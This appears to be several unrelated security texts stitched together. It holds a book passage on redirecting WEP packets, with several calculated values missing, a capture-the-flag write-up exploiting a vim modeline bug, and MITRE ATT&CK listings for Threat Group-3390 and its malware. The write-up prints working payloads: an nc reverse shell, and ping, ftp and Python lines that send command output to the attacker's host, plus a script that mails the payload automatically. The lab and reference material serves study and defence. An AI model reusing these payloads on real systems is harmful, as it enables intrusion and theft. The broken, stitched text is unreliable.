packet and send it right to the attacker's IP address. The packet modification is made possible due to the CRC32 checksum being a linear, unkeyed function. This means that the packet can be strategically modified and the checksum will still come out the same. This attack also assumes that the source and destination IP addresses are known. This information is easy enough to figure out, just based on the standard internal network IP addressing schemes. Also, a few cases of keystream reuse due to IV collisions can be used to determine the addresses. Once the destination IP address is known, this value can be XORed with the desired IP address, and this whole thing can be XORed into place in the encrypted packet. The XORing of the destination IP address will cancel out, leaving behind the desired IP address XORed with the keystream. Then, to ensure that the checksum stays the same, the source IP address must be strategically modified. For example, assume the source address is 192.168.2.57 and the destination address is 192.168.2.1. The attacker controls the address 123.45.67.89 and wants to redirect traffic there. These IP addresses exist in the packet in the binary form of high-and low-order 16-bit words. The conversion is fairly simple: Src IP = 192.168.2. SH = 192 • 256 + 168 = SL = 2 • 256 + 57 = Dst IP = 192.168.2. DH = 192 • 256 + 168 = DL = 2 • 256 + 1 = New IP = 123.45.67. NH = 123 • 256 + 45 = NL = 67 • 256 + 89 = The checksum will be changed by N H + N L - D H - D L , so this value must be subtracted from somewhere else in the packet. Since the source address is also known and doesn't matter too much, the low-order 16-bit word of that IP address makes a good target: S'L = SL- (NH + NL-DH-DL ) S'L = 569 - (31533 + 17241 - 50344 - 513 ) S'L = The new source IP address should therefore be 192.168.10.92. The source IP address can be modified in the encrypted packet using the same XORing trick, and then the checksums should match. When the packet is sent to the wireless access point, the packet will be decrypted and sent to 123.45.67.89, where the attacker can retrieve it. If the attacker happens to have the ability to monitor packets on an entire class B network, the source address doesn't even need to be modified. Assuming the attacker had control over the entire 123.45.XX IP range, the low-order 16-bit word of the IP address could be strategically chosen not to disturb the checksum. If NL = DH + DL - NH, the checksum won't be changed. Here's an example: NL = DH + DL - NH NL = 50,344 + 513 - 31, N'L = The new destination IP address should be 123.45.75.124. Fluhrer, Mantin, and Shamir Attack The Fluhrer, Mantin, and Shamir (FMS) attack is the most commonly used attack against WEP, popularized by tools such as AirSnort. This attack is really quite amazing. It takes advantage of weaknesses in the keyscheduling algorithm
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Hacking the art of Exploitation_djvu.txt
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. <- 250 2.0.0: ec19de6b Message accepted for delivery -> QUIT <- 221 2.0.0: Bye === Connection closed with remote host. Interestingly, I got an email back at my SMTP server: ---------- MESSAGE FOLLOWS ---------- b'Received: from attended.htb (attended.htb [192.168.23.2])' b'\tby attendedgw.htb (Postfix) with ESMTP id 50B0732CCF' b'\tfor <freshness@10.10.14.14>; Fri, 30 Apr 2021 21:08:40 +0200 (CEST)' b'Content-Type: multipart/alternative;' b' boundary="===============7051182491795655552=="' b'MIME-Version: 1.0' b'Subject: Re: Hello?' b'From: guly@attended.htb' b'X-Peer: 10.10.10.221' b'' b'--===============7051182491795655552==' b'Content-Type: text/plain; charset="us-ascii"' b'MIME-Version: 1.0' b'Content-Transfer-Encoding: 7bit' b'' b'hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)' b'' b'p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.' b'' b'' b'---' b'guly' b'' b'OpenBSD user since 1995' b'Vim power user' b'' b'/"\\ ' b'\\ / ASCII Ribbon Campaign' b' X against HTML e-mail' b'/ \\ against proprietary e-mail attachments' b'' b'--===============7051182491795655552==--' ------------ END MESSAGE ------------ The address seems to have been re-written from freshness@attended.htb to freshness@10.10.14.14. This is a pretty unrealistic automation (I don’t really see how it would have happened in the real world… maybe if I had added myself as a CC, and then gotten a reply all?), but, I stumbled into it. So I’ll proceed. Sometimes in CTFs (and probably in real life as well) you just have to try some stuff. guly is asking for an attachment, and the PS gives hints about a legacy Python environment on the gateway, and traffic restrictions. Send Attachment from freshness If I attach a Word doc to the same send line below (swaks --to guly@attended.htb --from freshness@attended.htb --header "Subject: file you asked for?" --body "Here you go" --server 10.10.10.221 --attach @s.doc), the response reminds me of guly’s dislike of MS Office: hi mate, i’m sorry but i can’t read your attachment. could you please remember i’m against proprietary e-mail attachments? :) If instead I send a .txt file, guly replies: thanks dude, i’m currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax. if everything is fine, you will find your config file within a few minutes in the /home/shared folder. test it ASAP and let me know if you still face that weird issue. A hint for later - freshness will be “testing his config file”. RCE as guly Vim CVE The email explicitly says that guly will open the attachment in vim. There’s an arbitrary code execution exploit in vim, CVE-2019-12735 that involves attack the modelines feature. A proof of concept was published on GitHub. The first POC on that repo looks like this: :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" That runs uname -a. There’s another for a reverse shell using nc: \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n Ping POC To test, I downloaded the simple POC and replaced uname -a with a ping: oxdf@parrot$ cat poc.txt :!ping -c 1 10.10.14.14||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" I started tcpdump, and then sent that as an attachment (swaks --to guly@attended.htb --from freshness@attended.htb --header "Subject: file you asked for?" --body "Here you go" --server 10.10.10.221 --attach @poc.txt), and a minute later, first the same note about opening it in vim, and then a few seconds later, ICMP packets are tcpdump: oxdf@parrot$ sudo tcpdump -ni tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 16:44:47.322017 IP 10.10.10.221 > 10.10.14.14: ICMP echo request, id 16027, seq 0, length 16:44:47.322086 IP 10.10.14.14 > 10.10.10.221: ICMP echo reply, id 16027, seq 0, length That’s successful remote code execution. Connection Fails From here, I wanted to use that to get a shell. I tried a lot of things that didn’t work: - Multiple reverse shells, including the on in the POC as well as the standard batch on many different ports - curl and wget did not get requests back to my host - I tried a bunch of ways to encode data into ping packets. While probably possible, I couldn’t get the syntax working - dig to do DNS queries at my host - a loop over all ports trying to connect with nc back to my host Connection Strategy The line from guly’s note to freshness is important: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection My best guess is that “new outbound traffic restrictions” explains why a reverse shell won’t connect back. From a lot of testing, it seems like only ICMP and valid HTTP (on TCP 80 and 8080) are allowed out through the gateway. As far as I know, there are three ways to get a connection back and exfil data: - icmp - HTTP using ftp - HTTP using Python2 / requests ICMP I already know that ICMP gets out from my POC. I can use the -p option to put command output there (hex encoded). For example, with an attachment like this: :!ping -c 1 -p `id | xxd -p | head -1` 10.10.14.14||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" That will execute ping, and -p sets the payload to the output of what’s in the backticks. In this case, it’s the id command, which I’ll have to then hex encode with xxd -p so that it can go into the ping. The challenge is that only the first 16 bytes will come back: 14:00:46.211914 IP 10.10.14.14 > 10.10.10.221: ICMP echo reply, id 13054, seq 0, length 0x0000: 4500 0054 a806 0000 4001 a5a4 0a0a 0e0e E..T....@....... 0x0010: 0a0a 0add 0000 62d8 32fe 0000 79bc 5a3c ......b.2...y.Z< 0x0020: cec3 00d5 dbf0 e0b5 2efe 2e2d c479 58a9 ...........-.yX. 0x0030: 8788 2343 7569 643d 3130 3030 2867 756c ..#Cuid=1000(gul 0x0040: 7929 2067 7569 643d 3130 3030 2867 756c y).guid=1000(gul 0x0050: 7929 2067 y).g The result of id is started there (three times), uid=1000(guly) g. I could use Python2 to run commands, collect data, and then loop over the results to send them back over ICMP. ftp ftp on BSD does something I wasn’t aware of, in that if I run ftp http://10.10.14.14/test it will get the file similar to wget. A payload like this will return the output of id to a web server on my hosts: :!ftp http://10.10.14.14/`id | xxd -p | tr -d '\n'`|" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" I used xxd as base64 doesn’t seem to be on the box (it turns out that piping into openssl base64 will work). oxdf@parrot$ python -m http.server Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.221 - - [02/May/2021 14:11:47] code 404, message File not found 10.10.10.221 - - [02/May/2021 14:11:47] "GET /7569643d313030302867756c7929206769643d313030302867756c79292067726f7570733d313030302867756c79290a HTTP/1.0" 404 - That url decodes: oxdf@parrot$ echo "7569643d313030302867756c7929206769643d313030302867756c79292067726f7570733d313030302867756c79290a" | xxd -r -p uid=1000(guly) gid=1000(guly) groups=1000(guly) I could also use this method to upload files to Attended with a few more args to the ftp binary. requests The first of these I found was requests, and so that is what I’ll show for the remainder of this post. The payload looks like this: :!python2 -c "import requests, os, base64; res = base64.b64encode(os.popen('id').read()); requests.get('http://10.10.14.14/' + res)"|" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" It uses os.popen to run a command and get the output, then base64-encodes it and sends it back over HTTP using requests: oxdf@parrot$ python -m http.server Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.221 - - [02/May/2021 14:20:47] code 404, message File not found 10.10.10.221 - - [02/May/2021 14:20:47] "GET /dWlkPTEwMDAoZ3VseSkgZ2lkPTEwMDAoZ3VseSkgZ3JvdXBzPTEwMDAoZ3VseSkK HTTP/1.1" 404 - Decoding the result provides the expected output: oxdf@parrot$ echo "dWlkPTEwMDAoZ3VseSkgZ2lkPTEwMDAoZ3VseSkgZ3JvdXBzPTEwMDAoZ3VseSkK" | base64 -d uid=1000(guly) gid=1000(guly) groups=1000(guly) Automation In trying all this, I have a pretty good feel that the automation that is running vim is running every minute. It’s going to be really slow until I get to a better shell. Still, I want to automate this so that I can run commands more easily without having to edit a text file each time. runcmd.py My first attempt was to create a Python script that would generate the payload, then create an email and attach the payload, and send it, and then handle the response: #!/usr/bin/env python import base import smtplib import socket import sys from datetime import datetime from email.message import EmailMessage command = sys.argv[1] payload = f''':!python2 -c "import requests, os, base64; path = '/'; res = os.popen('{command}').read(); f = base64.b64encode(res); requests.get('http://10.10.14.14/' + f)"|" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="''' msg = EmailMessage() msg["From"] = 'freshness@attended.htb' msg["To"] = 'guly@attended.htb' msg["Subject"] = 'file you asked for?' msg.set_content = 'Here you go' msg.add_attachment(payload, filename="poc.txt") s = smtplib.SMTP('10.10.10.221', 25) s.send_message(msg) print(f'[+] Email sent at {datetime.now()}. Listening on 80 for RCE response.') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 80)) s.listen() conn, addr = s.accept() with conn: print(f'[+] Connection from {addr[0]} at {datetime.now()}') data = conn.recv(8096) b64 = data.split(b' ')[1][1:] print(base64.b64decode(b64).decode(errors='ignore')) The command to run is taken from the command line, and used to build the payload. Then the email is created and the payload attached. It sends the email, and prints the time. Then it starts a raw socket on 80
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2021_05_08_htb-attended.html.txt
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IP address and then exploit their browser if they are of interest.[8] Enterprise T . Supply Chain Compromise: Compromise Software Supply Chain Threat Group-3390 has compromised the Able Desktop installer to gain access to victim's environments.[5] Enterprise T System Network Configuration Discovery Threat Group-3390 actors use NBTscan to discover vulnerable systems.[1] Enterprise T System Network Connections Discovery Threat Group-3390 has used net use and netstat to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.[2] Enterprise T System Owner/User Discovery Threat Group-3390 has used whoami to collect system user information.[4] Enterprise T Trusted Relationship Threat Group-3390 has compromised third party service providers to gain access to victim's environments.[11] Enterprise T . User Execution: Malicious File Threat Group-3390 has lured victims into opening malicious files containing malware.[4] Enterprise T Valid Accounts Threat Group-3390 actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.[1] Enterprise T Windows Management Instrumentation A Threat Group-3390 tool can use WMI to execute a binary.[6] Software ID Name References Techniques S ASPXSpy Threat Group-3390 has used a modified version of ASPXSpy called ASPXTool.[1][11] Server Software Component: Web Shell S certutil [4] Archive Collected Data: Archive via Utility, Deobfuscate/Decode Files or Information, Ingress Tool Transfer, Subvert Trust Controls: Install Root Certificate S China Chopper [1][2][6][9] Application Layer Protocol: Web Protocols, Brute Force: Password Guessing, Command and Scripting Interpreter: Windows Command Shell, Data from Local System, File and Directory Discovery, Indicator Removal: Timestomp, Ingress Tool Transfer, Network Service Discovery, Obfuscated Files or Information: Software Packing, Server Software Component: Web Shell S Clambling [4][11][5] Abuse Elevation Control Mechanism: Bypass User Account Control, Application Layer Protocol, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Clipboard Data, Command and Scripting Interpreter: PowerShell, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Data from Local System, Deobfuscate/Decode Files or Information, Exfiltration Over Web Service: Exfiltration to Cloud Storage, File and Directory Discovery, Hide Artifacts: Hidden Files and Directories, Hijack Execution Flow: DLL Side-Loading, Input Capture: Keylogging, Modify Registry, Network Share Discovery, Non-Application Layer Protocol, Obfuscated Files or Information, Phishing: Spearphishing Attachment, Process Discovery, Process Injection, Process Injection: Process Hollowing, Query Registry, Screen Capture, System Information Discovery, System Network Configuration Discovery, System Owner/User Discovery, System Services: Service Execution, System Time Discovery, User Execution: Malicious File, Video Capture, Virtualization/Sandbox Evasion: Time Based Evasion, Web Service: Bidirectional Communication S Cobalt Strike [4] Abuse Elevation Control Mechanism: Sudo and Sudo Caching, Abuse Elevation Control Mechanism: Bypass User Account Control, Access Token Manipulation: Token Impersonation/Theft, Access Token Manipulation: Make and Impersonate Token, Access Token Manipulation: Parent PID Spoofing, Account Discovery: Domain Account, Application Layer Protocol: Web Protocols, Application Layer Protocol: DNS, Application Layer Protocol, BITS Jobs, Browser Session Hijacking, Command and Scripting Interpreter: Visual Basic, Command and Scripting Interpreter: Python, Command and Scripting Interpreter: JavaScript, Command and Scripting Interpreter: PowerShell, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Data Encoding: Standard Encoding, Data from Local System, Data Obfuscation: Protocol Impersonation, Data Transfer Size Limits, Deobfuscate/Decode Files or Information, Encrypted Channel: Asymmetric Cryptography, Encrypted Channel: Symmetric Cryptography, Exploitation for Client Execution, Exploitation for Privilege Escalation, File and Directory Discovery, Hide Artifacts: Process Argument Spoofing, Impair Defenses: Disable or Modify Tools, Indicator Removal: Timestomp, Ingress Tool Transfer, Input Capture: Keylogging, Modify Registry, Native API, Network Service Discovery, Network Share Discovery, Non-Application Layer Protocol, Obfuscated Files or Information: Indicator Removal from Tools, Obfuscated Files or Information, Office Application Startup: Office Template Macros, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSASS Memory, Permission Groups Discovery: Local Groups, Permission Groups Discovery: Domain Groups, Process Discovery, Process Injection: Process Hollowing, Process Injection, Process Injection: Dynamic-link Library Injection, Protocol Tunneling, Proxy: Domain Fronting, Proxy: Internal Proxy, Query Registry, Reflective Code Loading, Remote Services: Windows Remote Management, Remote Services: SMB/Windows Admin Shares, Remote Services: SSH, Remote Services: Remote Desktop Protocol, Remote Services: Distributed Component Object Model, Remote System Discovery, Scheduled Transfer, Screen Capture, Software Discovery, Subvert Trust Controls: Code Signing, System Binary Proxy Execution: Rundll32, System Network Configuration Discovery, System Network Connections Discovery, System Service Discovery, System Services: Service Execution, Use Alternate Authentication Material: Pass the Hash, Valid Accounts: Domain Accounts, Valid Accounts: Local Accounts, Windows Management Instrumentation S gh0st RAT [12] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter, Create or Modify System Process: Windows Service, Data Encoding: Standard Encoding, Deobfuscate/Decode Files or Information, Dynamic Resolution: Fast Flux DNS, Encrypted Channel: Symmetric Cryptography, Encrypted Channel, Hijack Execution Flow: DLL Side-Loading, Indicator Removal: Clear Windows Event Logs, Indicator Removal: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Modify Registry, Native API, Non-Application Layer Protocol, Process Discovery, Process Injection, Query Registry, Screen Capture, Shared Modules, System Binary Proxy Execution: Rundll32, System Information Discovery, System Services: Service Execution S gsecdump [1] OS Credential Dumping: LSA Secrets, OS Credential Dumping: Security Account Manager S HTTPBrowser [1][2][6][5] Application Layer Protocol: Web Protocols, Application Layer Protocol: DNS, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, File and Directory Discovery, Hijack Execution Flow: DLL Side-Loading, Hijack Execution Flow: DLL Search Order Hijacking, Indicator Removal: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading: Match Legitimate Name or Location, Obfuscated Files or Information S HyperBro [9][3][7][4][5] Application Layer Protocol: Web Protocols, Deobfuscate/Decode Files or Information, Hijack Execution Flow: DLL Side-Loading, Indicator Removal: File Deletion, Ingress Tool Transfer, Native API, Obfuscated Files or Information: Software Packing, Obfuscated Files or Information, Process Injection, Screen Capture, System Service Discovery, System Services: Service Execution S Impacket [9] Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, Network Sniffing, OS Credential Dumping: NTDS, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSA Secrets, OS Credential Dumping: LSASS Memory, Steal or Forge Kerberos Tickets: Kerberoasting, System Services: Service Execution, Windows Management Instrumentation S ipconfig [2] System Network Configuration Discovery S Mimikatz Threat Group-3390 has used a modified version of Mimikatz called Wrapikatz.[2][6][4][13][11] Access Token Manipulation: SID-History Injection, Account Manipulation, Boot or Logon Autostart Execution: Security Support Provider, Credentials from Password Stores, Credentials from Password Stores: Windows Credential Manager, Credentials from Password Stores: Credentials from Web Browsers, OS Credential Dumping: LSASS Memory, OS Credential Dumping: DCSync, OS Credential Dumping: Security Account Manager, OS Credential Dumping: LSA Secrets, Rogue Domain Controller, Steal or Forge Authentication Certificates, Steal or Forge Kerberos Tickets: Silver Ticket, Steal or Forge Kerberos Tickets: Golden Ticket, Unsecured Credentials: Private Keys, Use Alternate Authentication Material: Pass the Ticket, Use Alternate Authentication Material: Pass the Hash S NBTscan [1][4] Network Service Discovery, Network Sniffing, Remote System Discovery, System Network Configuration Discovery, System Owner/User Discovery S Net [2] Account Discovery: Domain Account, Account Discovery: Local Account, Create Account: Local Account, Create Account: Domain Account, Indicator Removal: Network Share Connection Removal, Network Share Discovery, Password Policy Discovery, Permission Groups Discovery: Local Groups, Permission Groups Discovery: Domain Groups, Remote Services: SMB/Windows Admin Shares, Remote System Discovery, System Network Connections Discovery, System Service Discovery, System Services: Service Execution, System Time Discovery S netstat [4] System Network Connections Discovery S Pandora [5] Application Layer Protocol: Web Protocols, Create or Modify System Process: Windows Service, Encrypted Channel: Symmetric Cryptography, Exploitation for Privilege Escalation, Hijack Execution Flow: DLL Side-Loading, Ingress Tool Transfer, Modify Registry, Obfuscated Files or Information, Process Discovery, Process Injection, Subvert Trust Controls: Code Signing Policy Modification, System Services: Service Execution, Traffic Signaling S PlugX [1][2][6][4][11] Application Layer Protocol: DNS, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Deobfuscate/Decode Files or Information, Encrypted Channel: Symmetric Cryptography, File and Directory Discovery, Hide Artifacts: Hidden Files and Directories, Hijack Execution Flow: DLL Side-Loading, Hijack Execution Flow: DLL Search Order Hijacking, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading: Masquerade Task or Service, Masquerading: Match Legitimate Name or Location, Modify Registry, Native API, Network Share Discovery, Non-Application Layer Protocol, Obfuscated Files or Information, Process Discovery, Query Registry, Screen Capture, System Network Connections Discovery, Trusted Developer Utilities Proxy Execution: MSBuild, Virtualization/Sandbox Evasion: System Checks, Web Service: Dead Drop Resolver S pwdump [9] OS Credential Dumping: Security Account Manager S RCSession [5][4][11] Abuse Elevation Control Mechanism: Bypass User Account Control, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Data from Local System, Encrypted Channel, Hijack Execution Flow: DLL Side-Loading, Indicator Removal: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading, Modify Registry, Native API, Non-Application Layer Protocol, Obfuscated Files or Information, Obfuscated Files or Information: Fileless Storage, Process Discovery, Process Injection: Process Hollowing, Screen Capture, System Binary Proxy Execution: Msiexec, System Information Discovery, System Owner/User Discovery S Systeminfo [4] System Information Discovery S SysUpdate [5] Application Layer Protocol: DNS, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Create or Modify System Process: Windows Service, Create or Modify System Process: Systemd Service, Data Encoding: Standard Encoding, Data from Local System, Deobfuscate/Decode Files or Information, Encrypted Channel: Symmetric Cryptography, Exfiltration Over C2 Channel, File and Directory Discovery, Hide Artifacts: Hidden Files and Directories,
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versions_v13_groups_G0027.txt
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Currently viewing ATT&CK v13.1 which was live between April 25, 2023 and October 30, 2023. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT AADInternals ABK AbstractEmu ACAD/Medre.A Action RAT adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Amadey Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AuTo Stealer AutoIt backdoor Avaddon Avenger AvosLocker Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin Black Basta BlackCat BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba Brute Ratel C BS BUBBLEWRAP build_downer Bumblebee Bundlore BusyGasper Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr ccf Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper Chinoxy CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec CreepyDrive CreepySnail Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DanBot DarkComet DarkTortilla DarkWatchman Daserf DCSrv DDKONG DEADEYE DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DnsSystem DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex Drinik DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FluBot FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FunnyDream FYAnti Fysbis Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Heyoka Backdoor Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IceApple IcedID ifconfig iKitten Imminent Monitor Impacket INCONTROLLER Industroyer Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel Kevin KeyBoy Keydnap KEYMARBLE KEYPLUG KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacMa macOS.OSAMiner MacSpy Mafalda MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP metaMain Metamorfo Meteor Micropsia Milan Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Mongall Monokle MoonWind More_eggs Mori Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OutSteel OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key PcShare Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PingPull PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerLess PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON PowGoop POWRUNER Prestige Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump PyDCrypt Pysa QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS Rclone RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover Royal RTM Rubeus Ruler RuMMS RunningRAT Ryuk S-Type S.O.V.A. Saint Bot Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon Shark SharkBot SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Small Sieve Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat Squirrelwaffle SslMM Starloader STARWHALE Stealth Mango StoneDrill StreamEx StrifeWater StrongPity Stuxnet SUGARDUMP SUGARUSH SUNBURST SUNSPOT SUPERNOVA SVCReady Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo TangleBot Tarrask Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle TianySpy Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT Woody RAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox zwShell ZxShell ZxxZ - Home - Software - Metamorfo Metamorfo Metamorfo is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.[1][2] ID: S ⓘ Associated Software: Casbaneiro ⓘ Type: MALWARE ⓘ Platforms: Windows Contributors: Jose Luis Sánchez Martinez; Chen Erlich, @chen_erlich, enSilo Version: 2. Created: 26 May Last Modified: 18 October Version Permalink Live Version 